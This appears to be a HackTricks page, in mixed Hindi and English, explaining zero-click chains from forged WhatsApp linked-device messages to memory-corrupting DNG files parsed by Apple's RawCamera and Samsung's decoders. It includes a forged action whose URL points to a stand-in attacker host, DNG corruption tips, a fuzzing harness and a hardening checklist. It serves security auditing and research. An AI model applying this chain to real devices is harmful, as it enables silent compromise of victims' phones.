Zero-click Messaging → Image Parser Chains

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

TL;DR

  • Treat messaging app multi-device/companion protocols as remote control channels: अगर प्रोटोकॉल फील्ड्स को trusted devices से आने वाला माना गया हो, तब भी वे अक्सर user-controlled होते हैं और आमतौर पर किसी victim के खिलाफ सीधे replay करके arbitrary content लोड किया जा सकता है बिना किसी भी user interaction के।
  • एक बार किसी भी app को untrusted media fetch करने के लिए मजबूर कर दिया जाए, तो shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) को malformed files के साथ टार्गेट करें ताकि sandbox से pivot किया जा सके।
  • यहाँ जो DNG-based RawCamera और Samsung parser bugs चर्चा किए गए हैं वे concrete उदाहरण हैं, पर पूरा तरीका एक reusable blueprint है chaining के लिए: logic flaws → image parser memory corruption → full device compromise.

Remote content loading via WhatsApp linked-device commands

Attack surface recap

WhatsApp का “linked devices” architecture primary phone और हर companion (desktop, tablet, secondary phone) को encrypted, structured protocol messages के माध्यम से sync में रखता है। हर message encode करता है:

  • Device metadata (device ID, capabilities, feature flags).
  • Action descriptors (उदा., sync chats, fetch thumbnails, render remote content).
  • Arbitrary parameters जैसे कि URIs, MIME hints, pagination keys, आदि।

Apple clients पर, वह handler जो इन linked-device control packets को process करता था, वह implicitly trusted करता था कि एक वैध pairing पहले ही हो चुका है, इसलिए high-impact fields (उदा., resource_url, open_media, sync_snapshot) केवल न्यूनतम validation से गुज़रते थे। एक malicious companion message इसलिए:

  1. किसी भी account तक route हो सकता है जिसे उसके phone number से पहचाना गया हो।
  2. transport stack (Noise protocol + WhatsApp protobuf framing) को survive कर सकता है क्योंकि receiver ने कभी verify नहीं किया कि sender वास्तव में paired device था।
  3. iOS client तक पहुँच सकता है, जहाँ vulnerable code path automatically attacker URL पर background HTTP(S) request ट्रिगर करता था और response को hidden WebView/media renderer में parse करता था।

Practical workflow for auditors

  1. Capture legitimate linked-device traffic. Desktop/iOS client में debugger या Frida script attach करें और post-decryption handler (उदा., LinkedDevicesSyncHandler::processAction) को hook करें। decoded protobuf payloads को dump करके उपलब्ध action types और parameters सीखें।
  2. Identify fields that cross trust boundaries. कोई भी action जो http_url, thumbnail_uri, download_url, या render_html जैसे parameters बिना सख्त allow-lists के रखता है, वह एक candidate remote-content primitive है।
  3. Forge a malicious action. Observe की गई protobuf schema का reuse करें और केवल attacker-controlled fields को modify करें। नीचे संबंधित logical structure का simplified JSON view दिखाया गया है (actual transport protobuf/Noise है, लेकिन semantic fields मेल खाते हैं):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
  1. पीड़ित को भेजें। तैयार किए गए पैकेट को उसी WhatsApp सेवा के माध्यम से replay करें जो सामान्यतः linked-device ट्रैफ़िक को forward करती है (उदा., एक संशोधित desktop client या एक custom Noise client का उपयोग करके जो आपके attacker account keys को reuse करता है)। क्योंकि CVE-2025-55177 ने actions को authenticated devices से जोड़ने में विफलता दिखाई, पीड़ित iOS/macOS client संदेश स्वीकार कर लेगा और बिना किसी UI के तुरंत attacker URL को fetch कर लेगा।
  2. फेच की निगरानी करें। जबरन किए गए HTTP(S) request और internal renderer (WKWebView/ImageIO) का अवलोकन करें। इस बिंदु पर आपके पास WhatsApp के अंदर एक zero-click web delivery primitive मौजूद होगा।

RawCamera के खिलाफ auto-decoded DNGs को हथियार बनाना

एक बार attacker यह नियंत्रित कर ले कि WhatsApp क्या लोड करता है, अगला लक्ष्य है कि iOS/macOS को एक malicious Digital Negative (DNG) फ़ाइल RawCamera framework के साथ parse करवाना। कोई भी embedded <img>/CSS URL जो .dng पर resolve होता है उसे system image pipeline को पास कर दिया जाएगा, जिससे RawCamera invoke होगा भले ही WhatsApp ने स्वयं DNGs को स्पष्ट रूप से handle न किया हो।

WhatsApp से RawCamera को ट्रिगर करना

  • DNG को कई mechanisms के माध्यम से reference करने वाला HTML serve करें (उदा., <img src="evil.dng">, CSS background-image: url('evil.dng'), या <picture> sources) ताकि विभिन्न render paths कवर हो सकें।
  • सही MIME (image/x-adobe-dng) और छोटे previews सुनिश्चित करें ताकि loader size heuristics के कारण जल्दी bail न करे।
  • iOS media sandbox फ़ाइल को CGImageSourceCreateWithURL के माध्यम से RawCamera में stream करेगा, और अंततः vulnerable decoder तक पहुँच जाएगा।

मेमोरी-करप्ट करने वाले DNGs (CVE-2025-43300 style) बनाना

2025 में इन-द-वाइल्ड मिला बग generic malformed TIFF से अधिक specific था: DNG में JPEG-Lossless image data था जिसकी internal SOF3 component count TIFF/DNG metadata (SamplesPerPixel) से असहमत थी। व्यवहार में, RawCamera बाहरी TIFF फ़ील्ड्स से कुछ buffers का size निर्धारित कर सकता था और decoding के दौरान embedded JPEG-Lossless stream पर बाद में भरोसा कर लेता था, जिससे out-of-bounds write होता था जिसे iOS 18.6.2 / iPadOS 18.6.2 on August 20, 2025 में fixed किया गया।

यह ऑडिटर्स को “mutate random tags” की तुलना में बहुत अधिक सख्त triage नियम देता है:

exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY

यदि SamplesPerPixel और SOF3 component count अलग हो जाते हैं, तो आप CVE-2025-43300 के लिए सार्वजनिक रूप से चर्चा किए गए सटीक primitive के बहुत करीब हैं। एक बार parsing path मिल जाने पर फज़िंग के लिए अभी भी उपयोगी कुछ सामान्य आसपास के लीवर हैं:

  • Tile/strip descriptors: TileByteCounts/StripByteCounts को वास्तविक मानों पर सेट करें लेकिन TileOffsets बढ़ाकर आवंटित buffer के परे पॉइंट करें।
  • Sub-IFD chains: द्वितीयक छवियाँ embed करें जिनमें विसंगत ImageWidth/ImageLength और BitsPerSample हों ताकि RawCamera एक छोटा buffer गणना करे जबकि बाद के चरण attacker-controlled dimensions पर भरोसा करते हैं।
  • Opcode metadata: OpcodeList3 प्रविष्टियों को बदलें ताकि per-row processing attacker-chosen indexes पर काम करे।

ऐसे भ्रष्टाचारों का शिकार करने के लिए एक basic mutation harness macOS के आसपास बनाया जा सकता है, क्योंकि वही RawCamera code macOS/iOS/iPadOS पर ship होता है:

#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done

Each crash in RawCamera gives you a new primitive. The published PoC achieved a neat out-of-bounds read/write reliable enough to crash WhatsApp on iPhone, iPad, and Mac.

Building the 0-click chain

  1. Linked-device packet → बिना किसी टैप के WhatsApp को https://evil.example/payload.html फ़ेच कराने के लिए मजबूर करता है।
  2. Payload HTML → चुपचाप evil.dng का संदर्भ देता है, जिससे OS मीडिया स्टैक द्वारा RawCamera अनिवार्य रूप से इनवोक हो जाता है।
  3. Malicious DNG → तैयार टैग्स का दुरुपयोग करके RawCamera OOB ट्रिगर करता है और image decoder को crash/own कर लेता है।
  4. Post-corruption exploitation → info-leak गेजेट्स जोड़ें (जैसे predictable heap metadata का दुरुपयोग) और WhatsApp sandbox से बाहर निकलने और अधिक प्रिविलेज्ड संदर्भों में जाने के लिए ROP/JOP chain स्टेज करें।

क्योंकि हर कदम स्वचालित है, हमलावर को केवल पीड़ित का फोन नंबर चाहिए। टारगेट डिवाइस पर कोई notifications, banners, या prompts नहीं दिखते।

Recent Apple parser-chain patterns worth reusing

यह WhatsApp → DNG → RawCamera chain हाल ही के Apple zero-click अभियानों में देखे गए समान डिजाइन पैटर्न से मेल खाता है: एक alternate attachment wrapper खोजें जो कम प्रतिबंधित parser तक पहुँचाए, फिर उस फ़ाइल फॉर्मेट को weaponize करें जिसे OS उत्साहपूर्वक preview करता है।

  • BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab ने malicious PassKit attachments रिपोर्ट किए जिनमें images थे, और Apple ने Wallet (CVE-2023-41061) और ImageIO (CVE-2023-41064) को पैच किया। Project Zero के बाद के विश्लेषण ने दिखाया कि यह ऑपरेशनल रूप से क्यों महत्वपूर्ण है: हमलावर को केवल parser बग नहीं चाहिए था, बल्कि ऐसा container चाहिए था जिसने image parsing को सामान्य BlastDoor path के बाहर किसी अलग process में स्थानांतरित कर दिया। मैसेजिंग ऐप्स का ऑडिट करते समय, केवल स्पष्ट image attachments ही नहीं बल्कि हर ऐसे attachment टाइप को सूचीबद्ध करें जो helper daemons में background previews ट्रिगर करते हैं (.pkpass, contact cards, sticker bundles, inline HTML, QuickLook previews)।
  • TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): Kaspersky ने दिखाया कि एक malicious iMessage attachment undocumented Apple-only ADJUST TrueType instruction (CVE-2023-41990) पर लगा। व्यावहारिक सबक यह है कि fonts image-parser के सहोदर हैं जब zero-click काम की बात आती है: rich-text previews, font fallback, और thumbnail generation सभी parser entry points बन सकते हैं भले ही ऐप केवल “documents” या “stickers” का समर्थन करने का दावा करे।

दोहराया हुआ ऑडिट प्रश्न इसलिए है: which message types cause silent parsing in a process other than the obvious chat renderer? आम तौर पर वहीं से chain शुरू होती है। संदिग्ध फ़ाइल मिलने पर सैंपल triage और cross-field consistency checks के लिए एक बार इस generic structural file-format detection पेज का पुन:उपयोग करें: this generic structural file-format detection page.

Samsung vendor image parser parallels

Samsung के bulletin for CVE-2025-21043 ने पुष्टि की कि उनका proprietary image parsing stack (जो Gallery, Messages, और अप्रत्यक्ष रूप से WhatsApp द्वारा उपयोग किया जाता है) untrusted media के माध्यम से पहुंचने योग्य एक out-of-bounds write से ग्रस्त था। exploitation methodology Apple chain को प्रतिबिंबित करती है:

  • एक auto-preview vector पहचानें (chat thumbnails, notification previews, share sheets) जो attacker फ़ाइल को Samsung के libimagecodec/libOneUI_ImageDecoder libraries के साथ parse करता है।
  • OEM library updates को diff करें या malformed RAW/DNG फ़ाइलों के साथ parsers को fuzz करें जब तक कि आप RawCamera crash जैसी memory corruptions (heap metadata clobber, register control, आदि) न देखें।
  • तैयार फ़ाइल को किसी भी चैनल के जरिए डिलीवर करें जो पहले से कंटेंट को auto-load करता है (उदाहरण: वही linked-device primitive, WhatsApp preview fetchers, या Android के push-to-talk waveform previews)।

एक बार vendor parser में OOB write मौजूद हो, तो WhatsApp auto-fetch primitive के साथ इसे मिलाकर Samsung डिवाइसों पर एक और zero-click chain बनता है।

Testing & hardening checklist

  • Protocol validation: हर linked-device action के लिए सख्त allow-lists लागू करें। Companion commands जो fetch/render का अनुरोध करते हैं उन्हें device pairing साबित करना चाहिए (payload को sign करना) और URL को एक allow-list या signed blob से मिलान करना चाहिए।
  • Transport replay countermeasures: प्रत्येक action को per-device key से बिन्ड करें और ऐसे packets को रिजेक्ट करें जिनका sender key अज्ञात हो, भले ही protobuf syntax सही हो।
  • Media pipeline restrictions: High-level apps केवल अनुमोदित MIME types की अनुमति दें और RAW/DNG को स्पष्ट रूप से अस्वीकार कर दें जब तक कि यह फीचर अनिवार्य न हो।
  • Parser fuzzing regression tests: malformed RAW/DNG फ़ाइलों का एक corpora रखें और हर अपडेट के बाद उन्हें RawCamera/vendor decoders पर चलाएँ।
  • Crash triage automation: fuzz डिवाइसेज़ पर subtle OOB स्थितियों को attackers से पहले पकड़ने के लिए DYLD_INSERT_LIBRARIES sanitizers या MTE संलग्न करें।

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें